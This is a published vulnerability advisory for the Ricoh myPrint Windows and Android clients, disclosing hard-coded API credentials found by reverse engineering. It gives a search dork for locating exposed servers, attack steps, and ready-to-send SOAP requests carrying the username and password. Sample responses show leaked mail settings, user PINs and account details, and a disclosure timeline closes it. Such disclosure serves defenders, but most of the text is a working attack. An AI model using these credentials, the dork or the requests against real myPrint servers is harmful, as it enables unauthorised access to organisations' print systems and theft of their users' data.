Ricoh myPrint 2.9.2.4 - Hard-Coded Credentials

2018-11-26
ID: 100354
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Google Dork: intitle:"ricoh myprint" "Copyright Ricoh. All Rights Reserved"
# Date: 2018-11-19
# Exploit Author: Hodorsec
# Vendor Homepage: https://www.ricoh.com
# Software Link: https://www.ricoh-europe.com/support/product-support/software-support-detail.html?prodId=100-13203
# Versions: 
# myPrint - Windows client version 2.9.2.4
# myPrint - Android client version 2.2.7
# Tested on: Ricoh myPrint clients and WSDL webservice
# WSDL URL format: https://{HOST}/RicohmyPrint/MyPrintWebService.asmx?wsdl
# CVE: N/A

# Description:
# Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android 
# give access to any externally disclosed myPrint WSDL API, as demonstrated by discovering 
# API secrets of related Google cloud printers, encrypted passwords of mail servers and 
# names of printed files.

# Additional Information:
# Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for 
# Android (reverse-engineered, identical credentials), gives access
# to any externally disclosed Ricoh myPrint WSDL API. Using the found credentials, several info can be obtained, such as:
# * Show settings such as local paths, used mailserver, mailaddresses for POP/IMAP and encrypted passwords (appears to be stream-based
#   encrypted, seeing different lengths of base64 hashes passwords (Algorithm yet unknown)). --> ReadMobileSettings
# * Checks if a password is valid for ANY known user; returns "true" if password is valid for a known user --> IsPasswordValid
# * Shows all user info such as ID, name  by looking up email alias --> IdentifierByEmailAlias 
# * Show used internal IP addresses and TCP ports of related printers/server for Ricoh myPrint 
# * Show related Google cloud printers with API secrets --> ReadGoogleCloudPrinters
# * Show all printjob-statuses with filenames --> GetJobList
# * Show related organizations --> ReadOrganizations

# Affected Components:
# * Tested Ricoh myPrint clients with indicated versions and probably any remotely accessible myPrint webserver with an accessible WSDL API.

# Affected Code:
# * Android client "WebService.java"
...<SNIP>...
public static final class 
{

    public static final String AUTH_PASS = "Kyg63WfC";
    public static final String AUTH_USER = "ricohmyprint";
    public static final String NS_RICOH = "http://RicohmyPrint.com/";
    public static final String NS_SOAP12 = "http://www.w3.org/2003/05/soap-envelope";
    public static final String PRE_RICOH = "ric";
    public static final String PRE_SOAP12 = "soap";
    public static final String SERVICE = "/RicohmyPrint/myprintwebservice.asmx";
    public static final String SUPPORTED_LANGS[] = {
        "en", "ca", "de", "es", "fr", "it", "nl", "no", "pl", "pt", 
        "sv"
    };
...<SNIP>...

Attack Type: 
 * Remote

Attack Vectors:
Steps:
 * Download the Android APK or Windows executable installer
 * Reverse engineer the APK or DLL's from the Windows installer
 * Look for the string "PASS" with a regex tool, which should pop up a hit
 * Access the WSDL on a reachable Ricoh myPrint environment and enumerate operations with a SOAP tool (e.g. "ReadMobileSettings")
 * Use any operation, substitute the "AuthSoapHd" values for UserName and Password with the found credentials
 * Perform the request and check results

Hardcoded Credentials:
 * Username: ricohmyprint
 * Password: Kyg63WfC

Header requirement:
Required for using in an SOAP WSDL POST message as a header with values:
   <soapenv:Header>
      <ric:AuthSoapHd>
         <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>
         <ric:Password><![CDATA[Kyg63WfC]]></ric:Password>
         <ric:Version><![CDATA[0.1]]></ric:Version>
         <ric:Application><![CDATA[Desktop]]></ric:Application>
         <ric:DeviceId><![CDATA[1]]></ric:DeviceId>
      </ric:AuthSoapHd>
   </soapenv:Header>

Examples:
 * ReadMobileSettings
---------------------------------------------
REQUEST
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/">
   <soapenv:Header>
      <ric:AuthSoapHd>
         <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>
         <ric:Password><![CDATA[Kyg63WfC]]></ric:Password>
         <ric:Version><![CDATA[0.1]]></ric:Version>
         <ric:Application><![CDATA[Desktop]]></ric:Application>
         <ric:DeviceId><![CDATA[1]]></ric:DeviceId>
      </ric:AuthSoapHd>
   </soapenv:Header>
   <soapenv:Body>
      <ric:ReadMobileSettings/>
   </soapenv:Body>
</soapenv:Envelope>

RESPONSE
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <ReadMobileSettingsResponse xmlns="http://RicohmyPrint.com/">
      <ReadMobileSettingsResult>
        <WatchFolder>C:\ProgramData\RICOH\WatchFolder</WatchFolder>
        <ProcessFolder>C:\ProgramData\RICOH\ProcessFolder</ProcessFolder>
        <WebUploadFolder>C:\ProgramData\RICOH\WebUploadFolder</WebUploadFolder>
        <MaximumNumberProcessesRunningAllowed>0</MaximumNumberProcessesRunningAllowed>
        <ToFilePrinterName>myPrintToFile</ToFilePrinterName>
        <PrinterDriverName>RICOH Aficio MP C3500 PCL 6</PrinterDriverName>
        <POPIMAP>
          <EmailHandling>SINGLE</EmailHandling>
          <RetrievingInterval>5</RetrievingInterval>
          <EmailProtocol>POP3</EmailProtocol>
          <EmailServer>pop.someserver.local</EmailServer>
          <Port>110</Port>
          <PrintEmailBody>true</PrintEmailBody>
          <UserName>[email protected]</UserName>
          <Password>REDACTED</Password>
          <Domain />
          <EmailWebservice />
          <ExchangeVersion>5</ExchangeVersion>
          <OverrideCertificateCheck>false</OverrideCertificateCheck>
        </POPIMAP>
        <SMTP>
          <SmtpServer>smtp.someserver.local</SmtpServer>
          <Port>25</Port>
          <EmailDisplayName>Ricoh myPrint</EmailDisplayName>
          <EmailFrom>[email protected]</EmailFrom>
          <EnableSsl>false</EnableSsl>
          <UserName />
          <Password>REDACTED</Password>
        </SMTP>
        <GCP>
          <Id>0</Id>
          <XmppPort>80</XmppPort>
          <UseSocksProxy>false</UseSocksProxy>
          <SocksProxyServer />
          <SocksProxyVersion>5</SocksProxyVersion>
          <SocksProxyPort>1080</SocksProxyPort>
          <SocksProxyUser />
        </GCP>
        <LPRPrinterPort>0</LPRPrinterPort>
        <UseLPR>false</UseLPR>
        <EmailRefusal>postmaster</EmailRefusal>
      </ReadMobileSettingsResult>
    </ReadMobileSettingsResponse>
  </soap:Body>
</soap:Envelope>

---------------------------------------------

 * IdentifierByEmailAlias
---------------------------------------------
REQUEST:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/">
   <soapenv:Header>
      <ric:AuthSoapHd>
         <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>
         <ric:Password><![CDATA[Kyg63WfC]]></ric:Password>
         <ric:Version><![CDATA[a]]></ric:Version>
         <ric:Application><![CDATA[b]]></ric:Application>
         <ric:DeviceId><![CDATA[c]]></ric:DeviceId>
      </ric:AuthSoapHd>
   </soapenv:Header>
   <soapenv:Body>
      <ric:IdentifierByEmailAlias>
         <!--Optional:-->
         <ric:emailAlias>admin</ric:emailAlias>
      </ric:IdentifierByEmailAlias>
   </soapenv:Body>
</soapenv:Envelope>

RESPONSE:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   <soap:Body>
      <IdentifierByEmailAliasResponse xmlns="http://RicohmyPrint.com/">
         <IdentifierByEmailAliasResult>
            <Exists>true</Exists>
            <Account>
               <Id>1337</Id>
               <AccountId>83e754ff-fa1d-48b6-adb2-7cb60a22476d</AccountId>
               <UserName>admin</UserName>
               <Emailaddress>[email protected]</Emailaddress>
               <PersonalmyPrintId>1osd9KJ</PersonalmyPrintId>
               <Balance>5</Balance>
               <BalanceFormatted>€ 5,00</BalanceFormatted>
               <Primarypin>123456</Primarypin>
               <SecondaryPin/>
               <OrganisationId>1</OrganisationId>
               <ByClientCreated>false</ByClientCreated>
               <IsActivated>true</IsActivated>
               <GuestAccount>false</GuestAccount>
               <Aliasses/>
               <Transactions/>
               <Language>GB</Language>
               <MpPrintingPreferences>
                  <Id>0</Id>
                  <DuplexPreference>TwoSidedLongEdge</DuplexPreference>
                  <ColorPreference>Monochrome</ColorPreference>
                  <ChangingDuplexEnabled>true</ChangingDuplexEnabled>
                  <ChangingColorEnabled>true</ChangingColorEnabled>
                  <StaplePreference>StapleTopLeft</StaplePreference>
                  <PagePerSheetPreference>One</PagePerSheetPreference>
                  <ChangingStapleEnabled>true</ChangingStapleEnabled>
                  <ChangingPagePerSheetEnabled>true</ChangingPagePerSheetEnabled>
               </MpPrintingPreferences>
               <QpilotCardID/>
               <ClientType>IDPLocal</ClientType>
               <Administrator>false</Administrator>
               <HelpDesk>false</HelpDesk>
               <PrintQueue>
                  <Id>1</Id>
                  <PrinterId>1</PrinterId>
                  <PrintQueueType>LPR</PrintQueueType>
                  <PrinterName>Default printer</PrinterName>
                  <PrinterAddress>127.0.0.1</PrinterAddress>
                  <QueueName>lp</QueueName>
                  <Port>515</Port>
                  <IsPublic>true</IsPublic>
                  <Priority>0</Priority>
                  <Active>true</Active>
               </PrintQueue>
               <Domain/>
            </Account>
         </IdentifierByEmailAliasResult>
      </IdentifierByEmailAliasResponse>
   </soap:Body>
</soap:Envelope>

---------------------------------------------

Soap Endpoints:
 * ApplyAgreementAcceptance
 * ChangePassword
 * ClearCache
 * CreateAccount
 * CreateAccountByCardId
 * FinishedJobProcessing
 * GetConditionsUri
 * GetImage
 * GetJobList
 * GetLanguageTable
 * GetPrintCapabilities
 * GetPrintQueueRuleResult
 * GetSupportUri
 * IdentifierByEmailAlias
 * IsPasswordValid
 * LogIn
 * Operation
 * ReadAccount
 * ReadGoogleCloudPrinters
 * ReadMobileSettings
 * ReadMpPrintQueues
 * ReadOrganizations
 * ReadSettings
 * ReSendPincode
 * ResetPassword
 * RetrieveCloudPrintJobsAllowed
 * RetrieveEmailAllowed
 * SendCancelPrintJob
 * SendHeartbeat
 * SendPrinterName
 * Test
 * UpdateAccount
 * UpdateGoogleCloudPrinter
 * UploadFile
 * UploadFileAndPrintTicket
 * VerifyJobProcessing
 * VoucherToCash
 * WaitingJob
 * WriteLog

Disclosure Timeline using CERT/CC disclosure policy:
 - 04-10-18: Requested CVE
 - 05-10-18: Contacted vendor for initial contact, used several publicly known mailaddresses
 - 10-10-18: Contacted CERT for Vulnerability Disclosure coordination due to no response from vendor
 - 22-10-18: CERT responded it received no response on their behalf from vendor
 - 22-10-18: Sent reminder to vendor
 - 19-11-18: Public Disclosure
1.1.11-prod (www01)